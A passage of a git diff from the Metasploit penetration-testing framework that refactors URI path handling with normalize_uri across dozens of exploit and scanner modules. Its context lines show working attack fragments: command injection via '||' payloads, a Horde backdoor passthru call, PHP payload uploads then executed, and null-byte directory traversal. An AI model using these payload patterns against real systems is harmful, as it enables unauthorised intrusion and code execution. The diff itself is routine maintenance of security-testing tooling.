.../exploits/unix/webapp/basilic_diff_exec.rb | 6 ++-- .../unix/webapp/coppermine_piceditor.rb | 4 +-- .../unix/webapp/egallery_upload_exec.rb | 9 +++--- .../unix/webapp/joomla_tinybrowser.rb | 5 ++-- .../exploits/unix/webapp/openx_banner_edit.rb | 22 ++++++--------- .../unix/webapp/oscommerce_filemanager.rb | 4 +-- .../unix/webapp/php_wordpress_foxypress.rb | 9 +++--- .../exploits/unix/webapp/phpbb_highlight.rb | 6 ++-- .../exploits/unix/webapp/phpmyadmin_config.rb | 6 ++-- .../unix/webapp/projectpier_upload_exec.rb | 2 +- .../exploits/unix/webapp/redmine_scm_exec.rb | 2 +- .../unix/webapp/sphpblog_file_upload.rb | 14 +++++----- .../unix/webapp/sugarcrm_unserialize_exec.rb | 3 +- .../webapp/tikiwiki_graph_formula_exec.rb | 5 ++-- .../unix/webapp/tikiwiki_jhot_exec.rb | 8 +++--- .../unix/webapp/tikiwiki_unserialize_exec.rb | 8 +++--- modules/exploits/unix/webapp/twiki_history.rb | 6 ++-- modules/exploits/unix/webapp/twiki_search.rb | 8 +++--- .../http/sonicwall_scrutinizer_sqli.rb | 2 +- .../exploits/windows/http/sybase_easerver.rb | 2 +- .../windows/http/sysax_create_folder.rb | 8 +++--- .../exploits/windows/iis/ms02_065_msadc.rb | 2 +- modules/exploits/windows/iis/msadc.rb | 4 +-- 73 files changed, 212 insertions(+), 253 deletions(-) diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 25af468599..465e0ed78a 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -96,7 +96,9 @@ class Metasploit4 < Msf::Auxiliary juhash = Digest::MD5.hexdigest(juarray) juhash = juhash[0..9] # shortMD5 value for use as juhash - file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" + uri_base_path = normalize_uri(uri, '/index.php') + + file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" vprint_status("Checking Encryption Key [#{i}/1000]: #{final}") begin diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 231b4fa360..695443c528 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Establishing a connection to the target...") - uri = normalize_uri(datastore['URI']) - rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode=" + uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php') + rpath = uri + "?days=1&offset=0&sort_mode=" res = send_request_raw({ 'uri' => rpath, diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index ee80b7a624..f886d688b6 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run begin o = { - 'uri' => normalize_uri(datastore['URI']) || '/', + 'uri' => normalize_uri(datastore['URI']), 'headers' => { 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index db04a3a2f8..b677c87763 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache") + url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") uri << hash_path result = nil diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index 7f7166f93e..13dc14ef16 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' + base = target_uri.path peer = "#{ip}:#{rport}" fname = datastore['FILE'] @@ -61,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'encode_params' => false, - 'uri' => "#{base}gmap/view_overlay.php", + 'uri' => normalize_uri(base, "gmap/view_overlay.php"), 'vars_get' => { 'overlay_type' => "#{traverse}#{fname}%00" } diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 5919941a75..f851e2596b 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' peer = "#{ip}:#{rport}" @@ -58,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}index.php", + 'uri' => normalize_uri(base, "index.php"), 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png" }) diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index af224e664a..23e159e537 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -44,10 +44,10 @@ class Metasploit4 < Msf::Auxiliary end def run_host(rhost) - url = normalize_uri(datastore['URI']) + url = normalize_uri(datastore['URI'], '/index.php/members') begin - res = send_request_raw({'uri' => "#{url}/index.php/members"}) + res = send_request_raw({'uri' => url}) rescue ::Rex::ConnectionError print_error("#{peer} Unable to connect to #{url}") diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index af6efdbdfc..4fdb5bab93 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -60,8 +60,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -91,8 +93,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the SiteScope Configuration") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index e58d4282b9..e3fb1fe573 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -59,8 +59,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -95,8 +97,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the file contents") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index f7ab2fd9a7..f0e18eedae 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -81,7 +81,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'PUT', 'ctype' => 'text/plain', 'data' => data, @@ -102,7 +102,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'DELETE', 'ctype' => 'text/html', }, 20 @@ -119,7 +119,7 @@ class Metasploit4 < Msf::Auxiliary # Main function for the module, duh! # def run_host(ip) - path = normalize_uri(datastore['PATH']) + path = datastore['PATH'] data = datastore['FILEDATA'] if path[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index 5c0039054f..111591aa13 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] @@ -52,9 +52,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ + uri = normalize_uri(uri, 'index.php') res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}index.php/?p=#{t}#{datastore['FILE']}%00" + 'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00" }) if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 730217ba95..01d38311ff 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/services/Session", + 'uri' => normalize_uri(datastore['URI'], "/services/Session"), 'method' => 'POST', 'data' => data, 'headers' => diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index 415ca736ee..53ee160d57 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index be3de4bd49..4ff8434ceb 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res or res.code != 200 diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index 1efaf6bbff..2d642d9c43 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads/', '/vci/downloads/']), + OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) ], self.class) end @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) fname = File.basename(datastore['FILE']) traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH'])+ '/' + traversal + datastore['FILE'] + uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] print_status("#{rhost}:#{rport} - Requesting: #{uri}") diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index abf9fb3f46..d295430baa 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - @uri = normalize_uri(target_uri) + @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending malicious request...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => @uri.path + "admin/tools/export.php", + 'uri' => normalize_uri(@uri.path, "admin/tools/export.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index cd1b6859c8..10a211bc13 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending Command injection") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/ipchange.php", + 'uri' => normalize_uri(uri, 'spywall/ipchange.php'), 'data' => post_data }) diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 58b8c6e90f..6a17584b58 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/blocked_file.php", + 'uri' => normalize_uri(uri, "spywall/blocked_file.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index d5f5fc8acd..8ed47f8b1b 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ - 'uri' => "#{base}includes/inline_image_upload.php", + 'uri' => normalize_uri(base, 'includes/inline_image_upload.php'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 4bc1f62b3a..7e0086bc12 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1, 1] != '/' + uri = target_uri.path print_status("#{peer} - Housing php payload...") @@ -86,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data << "\n"*2 send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}install/index.php", + 'uri' => normalize_uri(uri, 'install/index.php'), 'data' => post_data }) @@ -95,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}includes/settings.php", + 'uri' => normalize_uri(uri, 'includes/settings.php'), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 4c7fd85800..e0c28f0139 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -55,12 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri + "docs/changes.txt" + 'uri' => normalize_uri(uri, "docs/changes.txt") }) if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/ @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Injecting the PHP payload") response = send_request_cgi({ - 'uri' => uri + "converter.php", + 'uri' => normalize_uri(uri, "converter.php"), 'method' => "POST", 'vars_post' => { "action" => "convert", @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote timeout = 0.01 response = send_request_cgi({ - 'uri' => uri + "includes/currencies.php", + 'uri' => normalize_uri(uri, "includes/currencies.php"), 'method' => "GET", 'headers' => { 'Connection' => "close", diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index d9c8e87e8d..404bf9f31d 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -57,13 +57,13 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'), 'vars_get' => { 'destServer' => "||echo #{clue}" } @@ -79,13 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path # Trigger the command execution bug res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"), 'vars_get' => { 'destServer' => "||#{payload.encoded}" diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 06e6fdc6a0..fc485ebc44 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -59,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php') }) if res and res.code == 200 and res.body.empty? @@ -75,8 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}addons/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=o0oOo0o', 'data' => post_data }) @@ -107,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}" + 'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 2a314cb411..cb0147c8c4 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -56,11 +56,12 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"}) + res = send_request_raw({ + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") + }) if res and res.body =~ /\Pet Rate Admin \- Banner Manager\<\/title\>/ return Exploit::CheckCode::Appears else @@ -83,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/admin/sitebanners/upload_banners.php", + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, }) @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{@peer} - Requesting '#{php_fname}'...") - res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"}) + res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index f9060db244..565d73a293 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -267,7 +267,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) @@ -303,7 +303,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 40dfc9a09b..2f413cec6b 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote base << '/' if base[-1, 1] != '/' res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}" + 'uri' => base }) if res.body =~ /\Version 2\.11\.2\<\/strong\>\/ @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote # upload res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}pages/restart_circulation_values_write.php", + 'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post, }) @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Retrieving file: #{fname}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}upload/___1/#{fname}" + 'uri' => normalize_uri(base, "upload/___1/#{fname}") }) handler diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 0c36c206c2..e5df62a1a8 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -59,14 +59,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # Make sure the URI begins with a slash - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ - 'uri' => uri + "/services/javascript.php", + 'uri' => normalize_uri(uri, "/services/javascript.php"), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index f196e48619..4b34db4010 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( - 'uri' => "#{@uri}servlet/Main", + 'uri' => normalize_uri(@uri, 'servlet/Main'), 'method' => 'POST' ) @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { - 'uri' => "#{@uri}j_security_check", + 'uri' => normalize_uri(@uri, 'j_security_check'), 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { - 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", + 'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -285,7 +285,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { - 'uri' => "#{@uri}#{@jsp_name}.jsp", + 'uri' => normalize_uri(@uri, "#{@jsp_name}.jsp"), 'method' => 'GET', 'headers' => { @@ -334,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "" + "\r\n" res = send_request_cgi({ - 'uri' => "#{@uri}services/APIPreferenceImpl", + 'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index d2ea9a7cc8..07d5eb2ada 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -391,7 +391,7 @@ EOT end def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, @@ -449,13 +449,13 @@ EOT if (datastore['VERB']== "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'data' => params }) else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + params + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" }, 30) end res diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 8808c158ff..422b8f8392 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -277,14 +277,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => 